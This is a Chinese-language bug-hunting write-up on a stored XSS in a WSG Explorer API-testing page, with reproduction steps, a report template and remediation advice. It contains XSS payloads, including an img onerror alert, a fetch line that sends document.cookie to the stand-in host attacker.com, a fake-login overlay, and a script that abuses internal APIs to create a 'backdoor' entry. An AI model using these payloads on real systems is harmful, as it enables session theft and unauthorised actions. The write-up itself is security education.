文章总结： 文档详细记录了在WSGExplorer工具中发现存储型XSS漏洞的全过程。作者通过测试Repositories节点的名称字段，发现应用未对HTML标签进行过滤且直接使用innerHTML渲染，导致可注入恶意脚本。关键发现包括漏洞的持久性、高危害性（可窃取会话、滥用API）及修复方案（服务端过滤+客户端编码）。 综合评分： 85 文章分类： 漏洞分析,渗透测试,WEB安全,安全工具,实战经验
我在 API Explorer 中发现了一个存储型 XSS 漏洞——以下是我的具体操作步骤
haidragon haidragon
安全狗的自我修养
2026年4月28日 12:26 中国香港
在小说阅读器读本章
去阅读
官网：http://securitytech.cc
有时候，最有价值的漏洞就藏在开发者用来测试自己 API 的工具中。
#
每个漏洞猎人都经历过这种时刻。
你盯着主应用看了好几个小时：登录表单、搜索框、用户资料字段 —— 全都经过加固、过滤。
你准备收工了。
然后你进入了应用的一个角落 —— 感觉不太一样。
不够精致，更像是内部工具，却被悄悄暴露到了公网。
我就是在这种地方发现了这个漏洞。
目标是一个 WSG（Web Services Gateway）Explorer —— 本质上是一个内置的 API 测试界面，位于：
1. WsgExplorer.aspx
可以把它理解为类似 Swagger UI 或浏览器版 Postman。
它包含：
- 导航树
- 查询构建器
- 创建和修改数据的功能
开发者使用它来直接测试 API 接口。
它显然不是核心功能，也正因为如此，没有人认真检查它。
First Look at the Interface
该 Explorer 在导航树中暴露了多个 API 资源分类：
1. ConnectionFormats
2. MetaSchema
3. Plugins
4. Policies
5. Repositories←这里引起了注意
6. ServiceVersions
该界面允许用户：
- 查询资源
- 生成测试集合
- 修改 / 上传数据
这类功能几乎总是涉及用户输入，并且会在某处回显。
只要存在回显，就存在 XSS 的可能。
Finding the Injection Point
我从 Repositories 节点开始测试，因为它允许用户自定义名称和元数据。
问题是：应用是否对输入进行了过滤？
Step 1 — 测试普通输入
1. test_sadanand_123
提交后刷新导航树，可以看到内容被回显。
说明输入被存储并渲染到了 DOM 中。
Step 2 — 测试 HTML 注入
1. <b>test</b>
结果显示为加粗文本。
没有进行编码。
应用直接将 HTML 注入到了页面中。
浏览器将输入当作 HTML 解析，而不是纯文本。
Step 3 — 测试脚本执行
1. <imgsrc=xonerror="alert('Hacked by Sadanand')">
提交 payload 后返回导航树。
浏览器立即弹出 alert。
Proof of Concept
alert 在应用域中执行。
payload 被存储在后端，每次加载该节点时都会执行。
这是一个 存储型 XSS（Stored XSS）。
页面源码中也可以看到 payload 被直接嵌入 DOM：
1. id="_3c_img_20_src_3d__22_x_22__20_onerror_3d__22_alert_28__27_Hacked_20_by_20_Sadanand_27_..."
应用尝试对 id 属性进行编码，但没有对实际 HTML 内容进行编码。
这是典型的“部分过滤”错误。
Why Stored XSS Is Worse Than Reflected
很多初学者把所有 XSS 当成一样的，这是错误的。
| 类型 | 是否持久 | 是否需要点击 | 影响 | | — | — | — | — | | 反射型 XSS | 否 | 是 | 中 | | DOM XSS | 否 | 是 | 中 | | 存储型 XSS | 是 | 否 | 高 / 严重 |
存储型 XSS 的特点：
- payload 存储在数据库中
- 每个访问页面的用户都会触发
- 不需要诱导点击
在这个 API Explorer 中，受害者通常是：
- 开发者
- 管理员
- 支持人员
这些都是高权限用户。
What an Attacker Could Do With This
真实攻击者不会停留在 alert。
1. 窃取 Session
1. fetch('https://attacker.com/steal?c='+ document.cookie)
如果 Cookie 没有 HttpOnly，攻击者可以获取会话。
2. 窃取凭证
1. document.body.innerHTML ='<div>伪造登录界面...</div>'
注入一个假的登录界面，诱导用户输入账号密码。
3. 滥用内部 API
1. fetch('/wsg/v2.8/Repositories',{
2. method:'POST',
3. headers:{'Content-Type':'application/json'},
4. body: JSON.stringify({name:'backdoor', config:'...'})
5. })
利用当前用户权限执行 API 请求。
4. 蠕虫式传播
如果注入的节点对所有用户可见：
每个用户访问都会触发 XSS，从而扩大影响。
The Root Cause
漏洞产生的原因是两个错误同时存在：
1. 存储未过滤输入
用户输入被直接存入后端，没有处理：
<>"
2. 渲染时直接使用 HTML
前端使用类似：
1. innerHTML
而不是：
1. textContent
修复方式
必须同时修复：
服务端
- 过滤或拒绝 HTML 输入
客户端
- 使用 textContent
- 或对输出进行编码
只修一端是不够的。
Bug Report 模板
Title
1. Stored XSS inWsgExplorerNavigationTree via UnsanitizedRepositoryNames
Severity
1. High
Affected Endpoint
1. https://[target]/wsg/Pages/WsgExplorer.aspx
Steps to Reproduce
- 打开 WsgExplorer
- 进入 Repositories
- 创建：
1. <imgsrc=xonerror="alert('XSS')">
- 保存并刷新
- 观察执行
Proof of Concept
Impact
存储型 XSS，可导致：
- 会话劫持
- 凭证窃取
- 未授权 API 操作
Remediation
- 存储时过滤输入
- 渲染时编码输出
Key Takeaways
- 优先测试开发者工具（后台、API Explorer、内部系统）
- 所有回显点都要测试
- 存储型 XSS 优先级高于反射型
- 部分过滤不等于安全
- 使用 alert 即可证明漏洞存在
-
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
-
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：安全狗的自我修养 haidragon haidragon《我在 API Explorer 中发现了一个存储型 XSS 漏洞——以下是我的具体操作步骤》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论